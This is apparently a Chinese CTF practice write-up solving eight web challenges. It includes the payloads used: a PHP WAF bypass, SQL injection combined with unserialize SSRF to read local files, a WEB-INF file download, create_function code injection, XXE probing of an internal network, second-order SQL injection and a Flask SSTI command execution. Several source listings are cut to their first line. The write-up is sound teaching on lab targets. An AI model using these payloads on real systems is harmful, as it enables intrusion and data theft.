前言
刷题没啥好说的,因为懒就没截图了,尽量说的清楚些。
[RoarCTF 2019]Easy Calc
进网页是个计算器,但是看js发现calc.php
,进入发现源码:
1 | <?php |
但是num参数只能传入数字,因此我们要绕过waf。方法就是在GET时问好后面加一个空格,这里用到了PHP的字符串解析特性。php解析时会把空白符删除,接着用chr()
绕过其他waf内容就行了。
payload:
1 | ? num=var_dump(scandir(chr(47))) //扫描根目录 |
[网鼎杯 2018]Fakebook
信息收集发现robots.txt
泄露源码,审计源码:
1 | <?php |
发现curl(),怀疑考察ssrf,寻找$url的注入点,登陆后发现view.php
界面下存在注入点,进行测试,万能密码测试发现存在sql注入,报错注入查询数据:
1 | //查库 |
发现data中序列化内容,利用源码中的反序列化进行注入:
1 | <?php |
payload:
1 | ?no=233/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"hacker";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' |
[RoarCTF 2019]Easy Java
因为缺乏对应的知识这题想了挺久的,也是看了wp才学到的。进入网页是一个登陆页面,下面有个help,点进help发现url存疑:
1 | http://c9fafc43-ee05-4188-981e-dff5ae10fed7.node4.buuoj.cn:81/Download?filename=help.docx |
将GET传值改为POST后发现可以下载文件,但是flag不存在help.docx
中,查询各种资料后发现这里要用到一个信息泄露:
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
因此我们POST值获取文件:
1 | filename=WEB-INF/web.xml |
查看文件找到flag目录,直接下载后解码:
1 | http://c9fafc43-ee05-4188-981e-dff5ae10fed7.node4.buuoj.cn:81/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class |
[BJDCTF2020]EzPHP
审查元素发现提示,base32解码结果为1nD3x.php
,访问页面查看源码:
1 | <?php |
一步一步审计,第一步要绕过$_SERVER['QUERY_STRING']
,这个函数不会进行urldecode,因此可以用url编码绕过。
第二步要绕过preg_match('/^$/')
,这里用换行符绕过。
第三步$_REQUEST
绕过,这里是根据POST优先级高于GET来绕过的。
第四步file_get_contents
,老朋友伪协议就完事了。
第五步sha1()
比较,数组就可以了。
因此构造payload:
1 | ?deb%75=aq%75a_is_c%75te%0a |
最后是第六步,我们发现$code
和$arg
是可控的,这里可以使用create_function()
来绕过。
create_function()
范例:
1 | $mrl64 = create_function('$a,$b','return $a + &b') |
利用这个函数,我们可以构建$code('',$arg)
来进行绕过:
1 | payload: |
这样构建的思路就是闭合a函数,并且跟上执行代码,最后用注释符将后面的内容注释掉,payload:
1 | ?deb%75=aq%75a_is_c%75te%0a |
读取到变量:
1 | ["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" } |
但是访问进去后我们发现没有给我们flag,因此猜测可能flag被过滤了,要在前一个网页中读取,payload:
1 | ?deb%75=aq%75a_is_c%75te%0a |
还是个假flag,那就用伪协议读取,获取flag,用取反绕过过滤。
[NCTF2019]True XML cookbook
这题按题目看是XXE,但是用xml配合伪协议读取源码没有发现什么有效内容,用源码中的账号密码也没有有用信息。思考XXE可以用来打内网,寻找存活主机,搜索/etc/hosts
没有找到有效信息,看了wp知道了这里要读取/proc/net/arp
文件,找到10.128.253.12
。
直接访问会报错,尝试爆破c段,最后爆破出正确网段,获取flag。
[Zer0pts2020]Can you guess it?
题目给了源码,直接审计:
1 | <?php |
我们是不可能猜出来这个随机数的,因此下半部分的代码基本没用,重要的部分在上面。
首先告诉我们flag在config.php
中,接着发现highlight_file(basename($_SERVER['PHP_SELF']));
这串代码,其中$_SERVER['PHP_SELF'])
返回正在执行的脚本名,而basename()
返回路径中的文件名部分,例如:
1 | basename("/path/home.php")-->home.php |
因此我们可以利用这个函数读取config.php
文件,我们访问/index.php/config.php
,这样我们访问的是index.php
,但经过basename会返回config.php
。但正则匹配了这个文件名,因此用不可打印字符绕过,构建payload读取flag:
1 | /index.php/config.php/%ff?souce |
[RCTF2015]EasySQL
看到注册登录以及提示sql,很明显的二次注入。注册账号时username设置:
1 | 'mrl64"\ |
接着发现可以改密码,尝试改密发现报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\" and pwd='c4ca4238a0b923820dcc509a6f75849b'' at line 1 |
因此判断是双引号包裹,推测sql语句:
1 | select * from user where username="'mrl64"\" and password='c4ca4238a0b923820dcc509a6f75849b' |
因此利用这点在注册出的username进行注入,记得要绕过waf:
1 | 1"||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))# |
[CSCCTF 2019 Qual]FlaskLight
题目提示我们ssti,接着审查元素发现GET一个search元素,构建payload查找子类:
1 | {{{}.__class__.__bases__[0].__subclasses__()}} |
接着用subprocess.Popen
进行命令执行,payload:
1 | {{{}.__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} |